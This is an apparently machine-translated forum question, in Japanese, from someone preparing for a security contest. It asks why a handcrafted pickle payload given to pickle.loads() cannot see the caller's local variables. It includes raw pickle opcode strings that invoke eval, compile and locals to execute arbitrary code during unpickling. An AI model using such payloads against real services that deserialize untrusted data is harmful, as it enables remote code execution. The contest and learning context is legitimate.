これはセキュリティ コンテストのためのものです。怒鳴らないでください :)
に渡された文字列を使用して からローカル変数にアクセスしようとしていますpickle.loads()
。たとえば、次のようなことをしたいと思います。
local_var = 1
pickle.loads('''c__builtin__
eval
(c__builtin__
compile
(S"print local_var"
S"error_output_file"
S"exec"
tRtR.''')
ただし、次のエラーが表示されます。NameError: name 'local_var' is not defined
実際、ローカル変数を調べると、予想とはまったく異なります。
pickle.loads("""c__builtin__
locals
(tR.""")
与える
{'args': (),
'func': <function locals>,
'self': <pickle.Unpickler instance at 0x108af3830>,
'stack': []}
ここで何が起こっているのか、どうすればやりたいことができるのか?
ありがとう!